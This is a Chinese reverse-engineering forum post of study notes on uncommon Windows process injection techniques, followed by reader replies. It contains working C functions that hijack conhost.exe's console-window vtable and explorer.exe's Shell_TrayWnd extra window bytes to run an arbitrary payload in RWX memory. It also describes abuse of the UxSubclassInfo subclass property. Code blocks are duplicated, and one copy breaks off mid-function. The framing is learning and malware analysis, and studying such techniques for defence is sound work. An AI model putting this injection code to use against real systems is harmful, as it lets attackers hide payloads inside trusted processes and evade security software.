首页
社区
课程
招聘
[原创]Windows不太常见的进程注入学习小记(一)
发表于: 2020-8-14 16:51 11544

[原创]Windows不太常见的进程注入学习小记(一)

2020-8-14 16:51
11544

以下是自学习相关进程注入时写的笔记。

控制台应用程序窗口所属于的窗口类为ConsoleWindowClass,窗口中保存的用户数据并不在控制台程序的地址空间之中,而在Conhost.exe之中。用户数据的第一个8字节或4字节中保存的是该类的虚表地址。

以修改ConHost中对于消息处理的虚函数表中的虚函数指针为手段,而Conhost.exe保存的用户数据在堆中是可写属性,导致了可以HOOK对应虚函数指针。

这个是Conhost中保存的控制台窗口类行为的虚表原型:

通过GetWindowLongPtr(hwnd, GWLP_USERDATA);可以获取用户数据地址,然后通过常规的ReadProcessMemory、WriteProcessMemory、VirtualAllocEx即可将对应的虚函数做更改。

整体代码如下:

可以看到explorer.exe之中具有窗口类。


和第一个没什么太大的不一样,唯一的区别是该窗口类的虚表常规的保存在创建窗口的进程之中。

原型:

代码:

当窗口被子类化的时候,久的窗口过程并不会被删除,而是被存储在后台隐藏运行。存储的节点为UxSubclassInfo或者CC32SubclassInfo的属性之中;命名名称是根据comctl32.dll的版本来决定的。

当使用SetWindowSubclass函数时,会调用SetProp 这个API会将旧的函数过程存储在UxSubclassInfo或者CC32SubclassInfo属性值中。当有对应的消息到来的时候,将会在子类化的窗口调用GetProp这个API获取旧的窗口过程并执行。(PS:以上是看资料总结的,总感觉理解上面有问题。如果有师傅比较较真的话,可以尝试自己子类化一个窗口,通过其句柄获取UxSubclassInfo属性,然后判断一下这个属性+0x18的偏移所保存的到底是旧的窗口过程还是新的窗口过程,还是说都有?只是调用的顺序不同?,如果有师傅做了实验的话不妨在下面告诉我一下,感激不尽)

这个属性的结构主要如下:

32位系统下可以看到在偏移0x18的处保存的窗口过程。

只需要在具有该窗口属性里的进程里将该回调函数进行HOOK,然后将其恢复即可,

在Win7和部分WIn10(最新版win10里没有)里经常使用该窗口,父类名Progman,子类名SHELLDLL_DefView。

参考文章

 
typedef struct _vftable_t {
    ULONG_PTR     EnableBothScrollBars;
    ULONG_PTR     UpdateScrollBar;
    ULONG_PTR     IsInFullscreen;
    ULONG_PTR     SetIsFullscreen;
    ULONG_PTR     SetViewportOrigin;
    ULONG_PTR     SetWindowHasMoved;
    ULONG_PTR     CaptureMouse;
    ULONG_PTR     ReleaseMouse;
    ULONG_PTR     GetWindowHandle;
    ULONG_PTR     SetOwner;
    ULONG_PTR     GetCursorPosition;
    ULONG_PTR     GetClientRectangle;
    ULONG_PTR     MapPoints;
    ULONG_PTR     ConvertScreenToClient;
    ULONG_PTR     SendNotifyBeep;
    ULONG_PTR     PostUpdateScrollBars;
    ULONG_PTR     PostUpdateTitleWithCopy;
    ULONG_PTR     PostUpdateWindowSize;
    ULONG_PTR     UpdateWindowSize;
    ULONG_PTR     UpdateWindowText;
    ULONG_PTR     HorizontalScroll;
    ULONG_PTR     VerticalScroll;
    ULONG_PTR     SignalUia;
    ULONG_PTR     UiaSetTextAreaFocus;
    ULONG_PTR     GetWindowRect;
} ConsoleWindow;
typedef struct _vftable_t {
    ULONG_PTR     EnableBothScrollBars;
    ULONG_PTR     UpdateScrollBar;
    ULONG_PTR     IsInFullscreen;
    ULONG_PTR     SetIsFullscreen;
    ULONG_PTR     SetViewportOrigin;
    ULONG_PTR     SetWindowHasMoved;
    ULONG_PTR     CaptureMouse;
    ULONG_PTR     ReleaseMouse;
    ULONG_PTR     GetWindowHandle;
    ULONG_PTR     SetOwner;
    ULONG_PTR     GetCursorPosition;
    ULONG_PTR     GetClientRectangle;
    ULONG_PTR     MapPoints;
    ULONG_PTR     ConvertScreenToClient;
    ULONG_PTR     SendNotifyBeep;
    ULONG_PTR     PostUpdateScrollBars;
    ULONG_PTR     PostUpdateTitleWithCopy;
    ULONG_PTR     PostUpdateWindowSize;
    ULONG_PTR     UpdateWindowSize;
    ULONG_PTR     UpdateWindowText;
    ULONG_PTR     HorizontalScroll;
    ULONG_PTR     VerticalScroll;
    ULONG_PTR     SignalUia;
    ULONG_PTR     UiaSetTextAreaFocus;
    ULONG_PTR     GetWindowRect;
} ConsoleWindow;
 
VOID conhostInject(LPVOID payload, DWORD payloadSize) {
    HWND          hwnd;
    LONG_PTR      udptr;
    DWORD         pid, ppid;
    SIZE_T        wr;
    HANDLE        hp;
    ConsoleWindow cw;
    LPVOID        cs, ds;
    ULONG_PTR     vTable;
 
    // 1. 找到具有ConsoleWindowClass窗口类的窗口句柄
    hwnd = FindWindow(L"ConsoleWindowClass", NULL);
    //通过窗口句柄找到对应进程的PID
    GetWindowThreadProcessId(hwnd, &ppid);
 
    // 2. 通过对比进程名和父进程句柄找到Conhost进程的pid
    pid = conhostId(ppid);
 
    if (pid==0) {
      printf("parent id is %ld\nunable to obtain pid of conhost.exe\n", ppid);
      return;
    }
    // 3.打开conhost进程
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
 
    // 4. 在conhost进程中申请可读可写可执行的堆空间用于保存自己的payload
    cs = VirtualAllocEx(hp, NULL, payloadSize,
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
 
    // 5. 找到ConsoleWindowClass窗口类中保存的虚函数地址
    udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);
    ReadProcessMemory(hp, (LPVOID)udptr,
        (LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
 
    // 6. 获取原本的虚表内容
    ReadProcessMemory(hp, (LPVOID)vTable,
      (LPVOID)&cw, sizeof(ConsoleWindow), &wr);
 
    // 7. 在conhost进程中申请堆空间保存自定义的虚表内容。
    ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow),
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    // 8. 将虚表中保存的GetWindowHandle更改为自己的payload地址,然后将虚表的内容写入进程。
    cw.GetWindowHandle = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);
 
    // 9. 将虚表指针hook
    WriteProcessMemory(hp, (LPVOID)udptr, &ds,
      sizeof(ULONG_PTR), &wr);
 
    // 10. 发消息测试
    SendMessage(hwnd, WM_SETFOCUS, 0, 0);
 
    // 11. 更改为原来的虚表指针
    WriteProcessMemory(hp, (LPVOID)udptr, &vTable,
      sizeof(ULONG_PTR), &wr);
 
    // 12. 释放内存。
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
 
    CloseHandle(hp);
}
VOID conhostInject(LPVOID payload, DWORD payloadSize) {
    HWND          hwnd;
    LONG_PTR      udptr;
    DWORD         pid, ppid;
    SIZE_T        wr;
    HANDLE        hp;
    ConsoleWindow cw;
    LPVOID        cs, ds;
    ULONG_PTR     vTable;
 
    // 1. 找到具有ConsoleWindowClass窗口类的窗口句柄
    hwnd = FindWindow(L"ConsoleWindowClass", NULL);
    //通过窗口句柄找到对应进程的PID
    GetWindowThreadProcessId(hwnd, &ppid);
 
    // 2. 通过对比进程名和父进程句柄找到Conhost进程的pid
    pid = conhostId(ppid);
 
    if (pid==0) {
      printf("parent id is %ld\nunable to obtain pid of conhost.exe\n", ppid);
      return;
    }
    // 3.打开conhost进程
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
 
    // 4. 在conhost进程中申请可读可写可执行的堆空间用于保存自己的payload
    cs = VirtualAllocEx(hp, NULL, payloadSize,
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
 
    // 5. 找到ConsoleWindowClass窗口类中保存的虚函数地址
    udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);
    ReadProcessMemory(hp, (LPVOID)udptr,
        (LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
 
    // 6. 获取原本的虚表内容
    ReadProcessMemory(hp, (LPVOID)vTable,
      (LPVOID)&cw, sizeof(ConsoleWindow), &wr);
 
    // 7. 在conhost进程中申请堆空间保存自定义的虚表内容。
    ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow),
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    // 8. 将虚表中保存的GetWindowHandle更改为自己的payload地址,然后将虚表的内容写入进程。
    cw.GetWindowHandle = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);
 
    // 9. 将虚表指针hook
    WriteProcessMemory(hp, (LPVOID)udptr, &ds,
      sizeof(ULONG_PTR), &wr);
 
    // 10. 发消息测试
    SendMessage(hwnd, WM_SETFOCUS, 0, 0);
 
    // 11. 更改为原来的虚表指针
    WriteProcessMemory(hp, (LPVOID)udptr, &vTable,
      sizeof(ULONG_PTR), &wr);
 
    // 12. 释放内存。
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
 
    CloseHandle(hp);
}
 
typedef struct _ctray_vtable {
    ULONG_PTR vTable;    // change to remote memory address
    ULONG_PTR AddRef;    // add reference
    ULONG_PTR Release;   // release procedure
    ULONG_PTR WndProc;   // window procedure (change to payload)
} CTray;
 
typedef struct _ctray_obj {
    CTray *vtbl;
} CTrayObj;
typedef struct _ctray_vtable {
    ULONG_PTR vTable;    // change to remote memory address
    ULONG_PTR AddRef;    // add reference
    ULONG_PTR Release;   // release procedure
    ULONG_PTR WndProc;   // window procedure (change to payload)
} CTray;
 
typedef struct _ctray_obj {
    CTray *vtbl;
} CTrayObj;
VOID extraBytes(LPVOID payload, DWORD payloadSize){
    LPVOID    cs, ds;
    CTray     ct;
    ULONG_PTR ctp;
    HWND      hw;
    HANDLE    hp;
    DWORD     pid;
    SIZE_T    wr;
 
    hw = FindWindow(L"Shell_TrayWnd", NULL);
 
    GetWindowThreadProcessId(hw, &pid);
 
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
 
    ctp = GetWindowLongPtr(hw, 0);
 
    ReadProcessMemory(hp, (LPVOID)ctp,
        (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);
 
    ReadProcessMemory(hp, (LPVOID)ct.vTable,
      (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);
 
    cs = VirtualAllocEx(hp, NULL, payloadSize,
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
 
    ds = VirtualAllocEx(hp, NULL, sizeof(ct),
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 
    ct.vTable  = (ULONG_PTR)ds + sizeof(ULONG_PTR);
    ct.WndProc = (ULONG_PTR)cs;
 
    WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr);
 
    SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);
 
 
    PostMessage(hw, WM_CLOSE, 0, 0);
 
 
    SetWindowLongPtr(hw, 0, ctp);
 
 
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
 
    CloseHandle(hp);
}
VOID extraBytes(LPVOID payload, DWORD payloadSize){
    LPVOID    cs, ds;
    CTray     ct;
    ULONG_PTR ctp;
    HWND      hw;
    HANDLE    hp;
    DWORD     pid;
    SIZE_T    wr;
 
    hw = FindWindow(L"Shell_TrayWnd", NULL);
 
    GetWindowThreadProcessId(hw, &pid);
 
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-10-6 15:16 被不懂就不懂编辑 ,原因:
收藏
免费 11
支持
分享
最新回复 (20)
雪    币: 22
活跃值: (458)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
通用性如何呀
2020-8-14 17:47
0
雪    币: 73
活跃值: (3095)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
3
靴子 通用性如何呀
我实验的结果还是挺好的。
2020-8-14 18:03
0
雪    币: 23080
活跃值: (3432)
能力值: (RANK:648 )
在线值:
发帖
回帖
粉丝
4
期待后续系列
2020-8-14 18:41
0
雪    币: 4005
活跃值: (2198)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
期待后续系列
2020-8-14 18:47
0
雪    币: 6121
活跃值: (5540)
能力值: ( LV5,RANK:65 )
在线值:
发帖
回帖
粉丝
6
MARK一下,这几种方法还真是第一次见
2020-8-14 20:15
0
雪    币: 2182
活跃值: (3236)
能力值: (RANK:260 )
在线值:
发帖
回帖
粉丝
7
不错不错
2020-8-14 22:09
0
雪    币: 3496
活跃值: (749)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
谢谢分享
2020-8-15 10:45
0
雪    币: 6124
活跃值: (4676)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
9
这思路挺新的
2020-8-15 15:34
0
雪    币: 57
活跃值: (2433)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
10
收藏
2020-8-16 11:48
0
雪    币: 914
活跃值: (2483)
能力值: ( LV5,RANK:68 )
在线值:
发帖
回帖
粉丝
11
感觉有点脱裤子放P
2020-8-17 11:10
0
雪    币: 73
活跃值: (3095)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
12
万剑归宗 感觉有点脱裤子放P
有些进程注入手段hw红方在用,甚至某些家族
2020-8-17 11:55
0
雪    币: 73
活跃值: (3095)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
13
万剑归宗 感觉有点脱裤子放P
某些家族马也在用,大佬有大佬的看法,我萌新反正是学习而已
2020-8-17 11:57
0
雪    币: 4
活跃值: (394)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
请问阁下都是怎么发现的这些方法的?
2020-8-17 21:52
0
雪    币: 73
活跃值: (3095)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
15
印度硬汉 请问阁下都是怎么发现的这些方法的?
之前有个样本用了其中某一个进程注入,然后我就去问前辈们相关问题,他们给了我一个网站,在这里面都有这些方法,然后就是读代码了。
2020-8-18 09:12
0
雪    币: 4094
活跃值: (4205)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
16
请问这些方法是在什么资料里找到的?感觉有点意思啊
2020-8-18 10:44
0
雪    币: 2089
活跃值: (3933)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
然后。。。杀软禁止远线程,进程内存读写,调试。。。直接GG。。。目前来说新一点的手段还是溢出,dll劫持和脚本一类的。
2020-8-18 15:06
0
雪    币: 4
活跃值: (394)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
不懂就不懂 之前有个样本用了其中某一个进程注入,然后我就去问前辈们相关问题,他们给了我一个网站,在这里面都有这些方法,然后就是读代码了。
扫噶
2020-8-19 13:59
0
雪    币: 73
活跃值: (3095)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
19
昵称好麻烦 请问这些方法是在什么资料里找到的?感觉有点意思啊
上面有参考文章,基本上都是一个网站上的
2020-8-21 18:19
0
雪    币: 130
活跃值: (767)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
有个问题,作者怎么知道有个虚表
2020-10-3 19:51
0
雪    币: 6
活跃值: (556)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
学到了,哈哈
2020-10-26 05:22
0
游客
登录 | 注册 方可回帖
返回
//